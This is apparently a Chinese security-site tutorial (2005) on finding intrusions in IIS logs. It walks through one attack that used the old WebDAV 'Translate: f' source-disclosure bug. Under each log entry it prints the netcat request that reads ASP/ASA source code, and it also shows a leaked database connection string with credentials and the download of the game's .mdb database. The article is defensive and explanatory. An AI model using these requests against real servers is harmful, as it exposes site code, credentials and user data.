通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
通过IIS日志来检测入侵实例
责任编辑:admin   更新日期:2005-7-6
 
网站服务器对于网络成员的的信息共享提供了大大的方便,同时也带来了很多安全隐患,妥善的使用和管理网络资源成为了网络管理员的面临的严峻的考验。面对网络入侵者使用各种以知漏洞对网站服务器进行攻击,分析和防范网络入侵者的行为则成为解决网络安全问题的一个重要手段。微软的服务器系统Microsoft Internet Information Server (IIS)提供了一套相当有效的安全管理机制,并且也提供了一套强大的日志文件系统。学会读懂并分析这些日志对我们了解入侵者的行为是致关重要的,下面我们就通过分析一些详细的入侵案例来介绍如何通过监视日志文件来发现入侵者的行踪。

注:出于众所周知的原因,本文中的所有IP地址及域名等信息都经过修改。

常见HTTP状态码含义:
"200" : 完成
"202" : 接受
"300" : 多重选择
"302" : 发现
"400" : 错误请求
"404" : 未发现
"502" : CGI错误

实例一:通过原代码暴露漏洞得取程序数据
笑傲江湖是近几年在国内兴起的一种使用asp脚本语言制作的网络游戏,很多网站为了增加访问量,都放置了这个游戏来吸引访问者。可以ASP脚本存在漏洞居多,而很多网管都没有对自己的服务器及时打补丁,导致攻击者可以轻易得到程序的原代码,并且访问存放用户信息的程序数据库。

日志显示:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/index.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/login.asp\ - 200 –
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/conn.asp\ - 400 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/global.asa\ - 200 –
2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/xajhdb/xajh.mdb - 200 –

背景知识:
在win2000及office 2000(包括FrontPage 2000及FrontPage 2000 server extensions)里的WebDAV存在着一个安全问题Translate:f。当某人往目标机器的ASP/ASA(或者其它脚本文件)发送包含有"Translate:f"文件头的HTTP GET请求时,windows2000(没有打过SP1补丁的——现在打补丁的还不是很多吧:)会返回该ASP/ASA的源代码而不是本该返回的经过处理的文件(还需要在url的结尾加上一个特殊字符"/")。虽然这个漏洞出现于windows2000,但由于有些站点虽然仅使用IIS 4.0,但却安装了FrontPage Server Extensions 2000,所以这一影响可能会扩展到IIS 4.0的机器上。

分析:
2001-06-23 03:00:12 10.1.1.1 - 10.1.1.1 80 GET /xajh/index.asp\ - 200 –
说明:攻击者发现了漏洞,并开始获取以知页面程序的原代码。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /index.asp\ HTTP/1.1 Translate: f

2001-06-23 03:00:19 10.1.1.1 - 10.1.1.1 80 GET /xajh/login.asp\ - 200 –
说明:入侵者开始尝试得到一些关键程序的原代码,例如这个登陆程序。一般的这种脚本程序都会直接在这种登陆程序里连接一些包含敏感信息的数据库或其它连接程序。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /login.asp\ HTTP/1.1 Translate: f

2001-06-23 03:00:58 10.1.1.1 - 10.1.1.1 80 GET /xajh/conn.asp\ - 400 –
说明:看来入侵者没有在刚才的登陆程序中得到他想要的程序,我们可以看看这个login程序的原代码:

程序编的很谨慎,没有连接任何敏感的文件或页面,我们的这位朋友看来有点头疼了。所以他开始瞎猜页面程序,可以看出这回他请求了conn.asp这个页面,值得提醒的是一般程序的数据库连接文件都是这个名字。可惜的是这个笑傲江湖程序不是,我们可以看到返回的状态码是400,也就是没有找到页面。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /conn.asp\ HTTP/1.1 Translate: f

2001-06-23 03:01:13 10.1.1.1 - 10.1.1.1 80 GET /xajh/logs.asp\ - 200 –
从日志上的时间来看,这回攻击和上回相差了很长时间,估计这位朋友自己也没办法,所以去请教朋友或者去自己下载了这套笑傲江湖程序的原代码,然后回来了以后一击命中,找到了这个程序的重要连接程序:global.asa,这个程序是用来指定事件脚本的,而在这个这个游戏程序中,编写者使用它来声明Application和Session,而且存放数据库的地址和密码等。我们来看看这个程序的部分代码,里面有很多东西,我们选了最重要的这段:
'Application("dbs")="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\xajhdb\xajh.mdb"
'Application("dbs")="driver={SQL Server};server=127.0.0.1;uid=xajh;pwd=xajh;database=xajh"
看来这个程序用了两个数据库,一个是MDB,在\xajhdb\xajh.mdb,另一个则是SQL数据库,是本地地址,用户名和密码都是xajh。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /global.asa\ HTTP/1.1 Translate: f

2001-06-23 03:23:20 10.1.1.1 - 10.1.1.1 80 GET /xajh/xajhdb/xajh.mdb - 200 –
说明:找到了数据库地址,当然是赶紧下载回来了。另外我们后来来发现这个入侵者通过登陆SQL数据库在我们的服务器执行了一些命令。
攻击方法:
[root@localhost /root]# nc -n 10.1.1.1 80
GET /xajh/xajhdb/xajh.mdb HTTP/1.1
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章提醒:“求职信”病毒1月6日发作
    普通文章两条“蠕虫”蠢蠢欲动
    普通文章5“网银大盗”狂盗储户14万 武汉男子被判10年
    普通文章“木马事件”终告结束 英语学习网重获新生
    普通文章搜索引擎不再喜欢新米,并非只是CN米
    普通文章蠕虫"威金"新变种 "小熊猫"屠宰多个计算机系统
    普通文章元旦上网谨防“Real蛀虫” 通过视频文件传播
    普通文章入侵工具Knark的分析及防范
    普通文章认清本质 计算机病毒防治常遇问题
    普通文章饶过现代Anti-Rookit工具的内核模块扫描(ZT)
    精彩专题